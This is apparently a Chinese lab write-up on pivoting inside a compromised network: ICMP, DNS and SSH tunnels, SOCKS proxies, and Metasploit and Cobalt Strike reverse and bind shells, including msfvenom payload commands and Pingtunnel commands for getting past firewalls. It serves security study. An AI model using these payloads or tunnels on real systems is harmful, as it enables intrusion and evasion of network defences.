右键编辑打开策略里的防火墙设置

在另一台域内主机防火墙是关闭的

在域控这里设置防火墙属性把域防火墙设置为启动

右键点击强制会立刻启用该策略，或者使用 gpupdate/force 更新策略，或者主机重启后生效

这时域控下属主机防火墙开启并且不可自己关闭必须由管理员设置

当然设置的防火墙规则也会同步下发到下属主机例如禁止 80 端口入站

# ICMP 隧道

将 TCP 协议封装成 ICMP 协议

常见工具 Pingtunnel,icmpsh,spp

# Pingtunnel

https://github.com/esrrhs/pingtunnel

	kali:
	msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4343 LHOST=127.0.0.1 -f exe -o msf.exe
	use exploit/multi/handler
	set payload windows/x64/meterpreter/reverse_tcp
	set lhost 0.0.0.0
	set lport 9999
	run
	klai使用./pingtunnel -type server 开启隧道
	受害机:
	pingtunnel.exe -type client -l :6666 -s 10.10.10.130 -t 10.10.10.130:8888 -tcp 1 -noprint 1 -nolog 1
	运行msf.exe

首先生成木马受害机运行后会将流量转发到 127.0.0.1 的 4343 也就是受害机的 4343 端口但是因为木马是 tcp 流量被限制了出不了站这时候用 Pingtunnel 把 4343 端口的走 tcp 的流量封装成 icmp 协议的流量转到 kali 的 9999 端口，然后我们 kali 上面使用 Pingtunnel 开启隧道，并监听 9999 端口这样我们就可以正常接收到流量绕过防火墙限制了

CS 测试

首先建立两个监听

p1 为 10.10.10.130 端口 9898

p2 为 127.0.0.1 端口 6666

生成木马用 p2 生成，这样受害机器执行木马会将流量转发到本地的 6666 端口

受害机:
pingtunnel.exe -type client -l :6666 -s 192.168.0.145 -t 192.168.0.104:8888 -tcp 1 -noprint 1 -nolog 1

将 6666 端口流量封装成 icmp 转发到 kali 的 9898 端口

kali 启动隧道

./pingtunnel -type server

cs 成功上线

# DNS 隧道搭建

准备一个域名

要添加两条记录分别是 A 记录和 NS 记录

A 记录指向我们的 vps 服务器

NS 记录指向刚才我们创建的 s.xxx.xxx

然后我们用 cs 上线时指向 dns1.xxx.xxx，他就会解析到 s.xxx.xxx，接着 s.xxx.xxx 解析到我们的 vps 地址隧道搭建完成了就

**NS 记录，全称为 Name Server 记录，是用于指定域名应该由哪些 DNS 服务器进行解析的记录。** 它告诉互联网上的其他 DNS 服务器，当有查询请求到达时，应该将请求重定向到哪些 DNS 服务器上。

接着 cs 创建 DNS 监听

地址写 dns1.xxx.xxx 和 s.xxx.xxx

dns1 解析解析到 s. 接着再解析成 vps 地址

接着生成木马执行后内网主机即可上线

接着执行 mode dns-txt

# SSH 隧道搭建

SSH 隧道（SSH Tunneling）是一种利用 SSH 协议为其他协议或网络连接提供安全加密的方法。它通过在 SSH 连接中创建加密通道，可以安全地传输未加密的网络流量，并将其转发到目标目的地，确保数据传输的私密性和安全性。SSH 隧道通常用于加密和保护从本地计算机到远程服务器的通信。

主要的 SSH 隧道类型包括：

本地端口转发（Local Port Forwarding）：将本地计算机的指定端口的流量通过 SSH 连接转发到远程服务器，并由远程服务器将流量转发到目标服务器。这种方式使得本地计算机可以通过 SSH 连接安全地访问目标服务器提供的服务。
远程端口转发（Remote Port Forwarding）：将远程服务器上的指定端口的流量通过 SSH 连接转发到本地计算机，并由本地计算机将流量转发到目标服务器。这种方式允许远程服务器上的服务通过 SSH 连接安全地访问本地计算机上的服务。
动态端口转发（Dynamic Port Forwarding）：创建一个本地的 SOCKS 代理服务器，应用程序可以通过配置使用这个 SOCKS 代理，而 SSH 客户端则负责将流量通过 SSH 连接转发出去。这种方式可以用于将本地计算机的所有流量通过 SSH 连接转发到远程服务器，从而实现全局的网络流量加密和安全访问。

网络环境为

vps 不可和内网主机访问

kali 与 web 可通信

web 内网主机 80 端口

	远程端口转发可用于入站被封
	在kali运行:
	ssh -CfNg -R 9999:192.168.0.107:80 root@vpsIP
	这条命令表示将web主机的80端口流量通过本机转发给我们vps的9999端口上
	-C：请求压缩所有数据
	-f：后台执行ssh指令
	-N：不执行远程指令
	-g：允许远程主机连接主机的转发端口

vps 即可访问 web 的网站

	本地端口转发可用于出站被封
	ssh -CfNg -L 8888:192.168.0.107:80 root@192.168.0.105
	将web主机的80端口流量转到本机kali的8888端口上

# 代理实验

网络环境为

win10 192.168.0.146 vm2
server4 192.168.0.145 10.10.10.134 vm2 vm19
web net 10.10.10.137 vm19 192.169.139.120 可出网
vps 公网

拿到 web 主机后用他来当作跳板去渗透剩下两台主机，操作在 kali 通过 web 主机进行传输，因为 12server 是不出网的我们无法直接访问但是他是可以跟 web 主机通信的这样就可以在 web 主机上做代理把它当作跳板机和 12server 通信做渗透

# msf 代理测试

首先生成木马获取 web 主机

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=8888 LHOST=192.168.139.194 -f exe -o 555.exe

接着 msf 添加路由

run post/multi/manage/autoroute

run autoroute -p

接着用到 use auxiliary/server/socks_proxy socks 代理模块开启 socks 代理

设置好配置运行

此时我们用本地的主机访问 12server10 网段的的网站是访问不到的，下载 sockscap64 软件

配置好代理，地址是公网 kali 的 ip 和刚才 socks 代理模块开启的端口

设置好可以通信后可以把代理添加到程序中

用代理打开浏览器后就可用访问内网 10.10.10.0 网段了

在 kali 中只是 msf 可以跟 10 通信，要做到使用其他工具对 10 网段进行渗透可用用到 proxychains 代理

对 proxychains.conf 更改写入刚才 msf 代理模块设置的端口 ip，或者 proxychains4.conf

vim /etc/proxychains.conf

设置好代理以后在要使用的工具前面加上 proxychains 命令例如 nmap 对 10.10.10.134 进行扫描，这样我们就可以在 kali 对 10 网段的内网渗透起来就会方便很多

# cs 代理测试

Proxifier 代理工具

cs 生成木马获取 web 主机权限

然后设置 socks 代理

打开 Proxifier 代理工具配置文件代理服务器公网 kali 地址和刚才设置的端口 47385

开启代理之前无法访问 12server 内网中的网站

设置好以后即可访问 10 网段

也可以添加规则，默认全部走 socks 代理

# CS 正反 shell 上线内网主机

12server 是内网主机无法上网所以是找不到我们的公网 kali 主机无法上线，但是我们拿到了 web 主机，他是可以和 12server 通信的，可以制作一个正向木马让 12server 执行后流量转发到本机的 5555 端口再让 web 主机去主动连接 12server 的 5555 端口就可以实现上线了

新建立一个监听并创建一个木马并放到 12server 执行

在 web 主机的 shell 上输入 connect 10.10.10.134 5555 让他去连接 12server 的 5555，图中可看到是经过了 web 那台主机上线的

现在获取了 12server 的权限在内网环境中还存在一个 win10 主机我们是无法通信的，可以在 12server 上做一个 socks 代理

此时内网 win10 主机的网站是无法访问的

挂上代理之后就可以访问到了

# MSF 正反 shell 上线内网主机

	生成正向shell

	msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6767 LHOST=0.0.0.0 -f exe -o bind.exe

	把这个木马放在12server执行

	kali切换到windows/x64/meterpreter/bind_tcp

	set payload windows/x64/meterpreter/bind_tcp
	set lport 6767
	set rhost 10.10.10.134 12server的地址
	run

搭建 socks 代理让可以访问到内网 win10

进入 sessions 2

添加 win 的 192.168.0.0 网段路由

background 会话放置后台

进入 socks 模块

use auxiliary/server/socks_proxy

set lport 6666

vim proxvim /etc/proxychains.conf 设置好配置的端口就可以用 nmap 对 win10 进行扫描了

# 有防火墙限制的上线

前面步骤一样 win10 多了防火墙不能再用正向，可在 12server 做转发上线让 win10 主动找 12server 然后 12server 把 0.145 得到的会话转发到 10.134 网段就可以上线

接着在新建的 333 会话生成木马放在 win10 上线

图中可看到 win10 主动找的 12server 这样就不受 win10 防火墙限制

# SMB 横向移动隧道搭建

扫描 192.168.55.0/24 网段主机的 445 端口

打开目标列表可看到有 192.168.55.200 也就是最后一台主机 win11

新建一个 SMB 监听

对 win11 进行横向

选择刚创建的监听器密码账号前期信息收集或通过渗透前几台主机获取的

成功通过 SMB 隧道上线

云逸'bolg

FastJSON反序列化漏洞

# FastJSON 反序列化漏洞

# fastJSON 原理流程

# 调试

# 逻辑步骤

# 1.2.24 利用

JAVA反序列化URLDNS

# java 反序列化漏洞前置知识

# java 反射

# 什么是反射

# 获取 Class 的方法

# 获取类里面的属性

# 操作属性

# 获取类里面的方法

# java 反序列化与序列化

# 序列化和反序列化的基本概念

# 序列化和反序列化的使用

# 安全问题

# URLDNS 链

# HashMap 重写的 readObject

# readObject 调用 hash

# hash 调用 hashCode ()

# 调用 handler 里面的 hashCode 方法

# hashCode 调用了 getHostAddress

# u.getHostAddress()

# 调用 InetAddress.getByName (host) 到此结束

# 利用

# CC1 链

# InvokerTransformer

# TransformedMap

# AnnotationInvocationHandler 类

# LazyMap

# CC6 链

# java 面向对象

# 类定义对象创建

# 方法的创建

# 方法的参数

# 方法重载

# this 关键字

# 构造方法

# 代码块

# 静态变量静态方法

# 静态变量

# 包和访问控制

# 类的封装

# 类继承

# Object 类

# 方法的重写

# 抽象类

# 抽象类的特点

# 注意事项

# 内部类

ssrf漏洞

# ssrf

# 演示

# FILE 协议

# dict 协议

# 利用 redis 未授权配合 dict 协议写 webshell

# 利用 redis 未授权配合 gopher 协议

# 计划任务反弹 shell

# ssrf 的绕过技巧

# @绕过

# 使用。来代替。号

# 本地回环地址

# 利用短链接

# IP 的进制转换

vsphere虚拟化安全

php审计sql注入

PHP面向对象

# 面向对象

# 类 class

# 类的方法和属性

# $this

# PHP 构造函数

# 析构函数

# 静态变量类常量

# 类常量

# 静态方法

# 继承